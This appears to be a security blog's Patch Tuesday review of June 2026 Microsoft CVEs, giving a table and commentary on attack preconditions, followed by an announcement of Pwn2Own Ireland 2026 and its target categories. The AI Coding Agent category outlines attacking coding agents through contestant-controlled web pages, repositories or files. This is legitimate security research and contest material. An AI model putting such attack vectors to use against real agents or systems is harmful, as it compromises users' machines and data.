CVE-2026-48579	Microsoft Exchange Online Information Disclosure Vulnerability	Critical	9.1	No	No	N/A	Info
CVE-2026-47655	Microsoft Graph Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45497	Microsoft M365 Copilot Remote Code Execution Vulnerability	Critical	7.7	No	No	N/A	RCE
CVE-2026-45460	Microsoft Office Information Disclosure Vulnerability	Critical	4.7	No	No	3	Info
CVE-2026-45472	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45474	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45461	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45463	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45456	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45458	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47635	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-26142	Nuance PowerScribe Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47289	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	2	RCE
CVE-2026-47654	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	3	RCE
CVE-2026-48563	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42992	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44799	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44801	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42985	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	1	RCE
CVE-2026-45648	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-42987	Windows Deployment Services (WDS) Remote Code Execution	Critical	8.1	No	No	2	RCE
CVE-2026-33828	Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability	Critical	7.8	No	No	3	EoP
CVE-2026-44803	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-44812	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-45607	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45641	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47652	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.2	No	No	2	RCE
CVE-2026-47288	Windows Kerberos Key Distribution Center (KDC) Remote Code Execution	Critical	7.1	No	No	3	RCE
CVE-2026-45657	Windows Kernel Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-48574	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	2	RCE
CVE-2026-45490	.NET SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45491	.NET Tampering Vulnerability	Important	6.2	No	No	3	Tampering
CVE-2026-45591	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	2	DoS
CVE-2026-47643	Azure Stack Edge Remote Code Execution Vulnerability	Important	9.8	No	No	3	RCE
CVE-2026-41098	Azure Stack Edge Spoofing Vulnerability	Important	8.4	No	No	2	Spoofing
CVE-2026-45642	Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability	Important	3.9	No	No	2	Spoofing
CVE-2026-45650	Microsoft Bing Search Spoofing Vulnerability	Important	4.3	No	No	2	Spoofing
CVE-2026-45637	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45647	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	2	EoP
CVE-2026-40371	Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-44822	Microsoft Excel Information Disclosure Vulnerability	Important	8.2	No	No	3	Info
CVE-2026-45455	Microsoft Excel Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-45469	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44817	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	3	RCE
CVE-2026-44818	Microsoft Excel Remote Code Execution Vulnerability	Important	7	No	No	2	RCE
CVE-2026-44820	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44823	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45459	Microsoft Excel Security Feature Bypass Vulnerability	Important	3.3	No	No	2	SFB
CVE-2026-45504	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	8.8	No	No	3	EoP
CVE-2026-45502	Microsoft Exchange Server Information Disclosure Vulnerability	Important	5	No	No	3	Info
CVE-2026-45503	Microsoft Exchange Server Information Disclosure Vulnerability	Important	8.1	No	No	3	Info
CVE-2026-45583	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45500	Microsoft Exchange Server Spoofing Vulnerability	Important	6.1	No	No	2	Spoofing
CVE-2026-45501	Microsoft Exchange Server Spoofing Vulnerability	Important	6.5	No	No	2	Spoofing
CVE-2026-47631	Microsoft Exchange Server Spoofing Vulnerability	Important	8.1	No	No	2	Spoofing
CVE-2026-42986	Microsoft Graphics Component Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-41092	Microsoft Kinect Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45644	Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability	Important	8	No	No	2	EoP
CVE-2026-47293	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45485	Microsoft Office Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-44821	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45483	Microsoft Office Project Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45475	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44819	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44824	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45645	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-49161	Microsoft PC Manager Security Feature Bypass Vulnerability	Important	7.8	No	No	3	SFB
CVE-2026-42902	Microsoft PowerToys Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45484	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-45454	Microsoft SharePoint Remote Code Execution Vulnerability	Important	6.5	No	No	2	RCE
CVE-2026-47298	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	2	RCE
CVE-2026-45467	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45468	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45479	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45453	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47636	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47637	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47638	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47639	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	3	Spoofing
CVE-2026-47641	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-33113	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45462	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45464	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45465	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47634	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-47640	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	3	Spoofing
CVE-2026-45481	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-48560	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-48562	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-42835	Microsoft Teams for Android Information Disclosure Vulnerability	Important	8.1	No	No	2	Info
CVE-2026-45606	Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability	Important	5.5	No	No	2	DoS
CVE-2026-45482	Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability	Important	8.4	No	No	2	SFB
CVE-2026-45466	Microsoft Word Information Disclosure Vulnerability	Important	3.3	No	No	3	Info
CVE-2026-45471	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45486	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45643	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45457	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-42980	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-42916	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45649	Office for Android Spoofing Vulnerability	Important	7.1	No	No	3	Spoofing
CVE-2026-47653	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	3	RCE
CVE-2026-42909	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42913	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42993	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45588	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48568	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48570	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48573	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48575	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48576	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48578	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45654	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45656	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-8863	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-40376	Visual Studio Code Elevation of Privilege Vulnerability	Important	7.5	No	No	2	EoP
CVE-2026-47281	Visual Studio Code Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-47284	Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47292	Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-48569	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	2	SFB
CVE-2026-47287	Visual Studio Code Tampering Vulnerability	Important	6.5	No	No	2	Tampering
CVE-2026-42829	Windows Administrator Protection Secure Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-34335	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45601	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45598	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45596	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45638	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45603	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42911	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45594	Windows Application Identity (AppID) Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45655	Windows BitLocker Security Feature Bypass Vulnerability	Important	5.3	No	No	2	SFB
CVE-2026-45658	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.8	No	No	1	SFB
CVE-2026-45640	Windows Bluetooth Port Driver Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45605	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-47656	Windows Boot Manager Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-44809	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45634	Windows DHCP Client Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-45608	Windows DHCP Client Information Disclosure Vulnerability	Important	6.8	No	No	3	Info
CVE-2026-41108	Windows DNS Client Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42905	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-44811	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44808	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44807	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42983	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44802	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44813	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44804	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-48566	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-44814	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45602	Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability	Important	9.1	No	No	2	Tampering
CVE-2026-42836	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42910	Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42972	Windows Hyper-V Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45592	Windows Internet (wininet.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42903	Windows Kerberos Denial of Service Vulnerability	Important	6.5	No	No	3	DoS
CVE-2026-42914	Windows Kerberos Denial of Service Vulnerability	Important	5.3	No	No	2	DoS
CVE-2026-48583	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45653	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42984	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45600	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45604	Windows Managed Installer Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45595	Windows Mark of the Web Security Feature Bypass Vulnerability	Important	5.4	No	No	2	SFB
CVE-2026-45636	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-50508	Windows NTLM Spoofing Vulnerability	Important	6.5	No	No	1	Spoofing
CVE-2026-48565	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44805	Windows Network Controller (NC) Host Agent Denial of Service Vulnerability	Important	5.5	No	No	3	DoS
CVE-2026-42981	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-42974	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45487	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42828	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42837	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42969	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-42971	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42970	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42973	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42978	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42977	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42979	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42991	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45639	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-42908	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-45593	Windows SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42906	Windows Shell Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42907	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47648	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42915	Windows TCP/IP Denial of Service Vulnerability	Important	5.7	No	No	2	DoS
CVE-2026-42904	Windows TCP/IP Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-42968	Windows Telephony Server Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42912	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45597	Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45599	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45635	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-40409	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-40404	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42989	Winlogon Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.

Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Pwn2Own Ireland 2026 – New Targets and Categories

Sat, 25 Jul 2026 19:02:51 +0200

If you just want to read the rules, you can find them here.

Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).

As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at pwn2own@trendmicro.com (note the address). We will be happy to address your issues or concerns directly.

Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules thoroughly to ensure you meet all the requirements.

Now on to this year’s target categories. We’ll have seven different categories for this year’s event:

-- Mobile Phones
-- Smart Home Devices
-- Wellness
-- Printers
-- Messaging
-- AI Infrastructure
-- AI Coding Agents

Let’s take a look at each category in more detail, starting with mobile phones.

The Target Phones

Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.

Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:

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Smart Home Devices

As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

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Wellness Category

This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

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Rage Against the Printers

Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets.

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The Messaging Category

We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:

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AI Infrastructure Category

We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:

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AI Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

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Master of Pwn

No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2027).

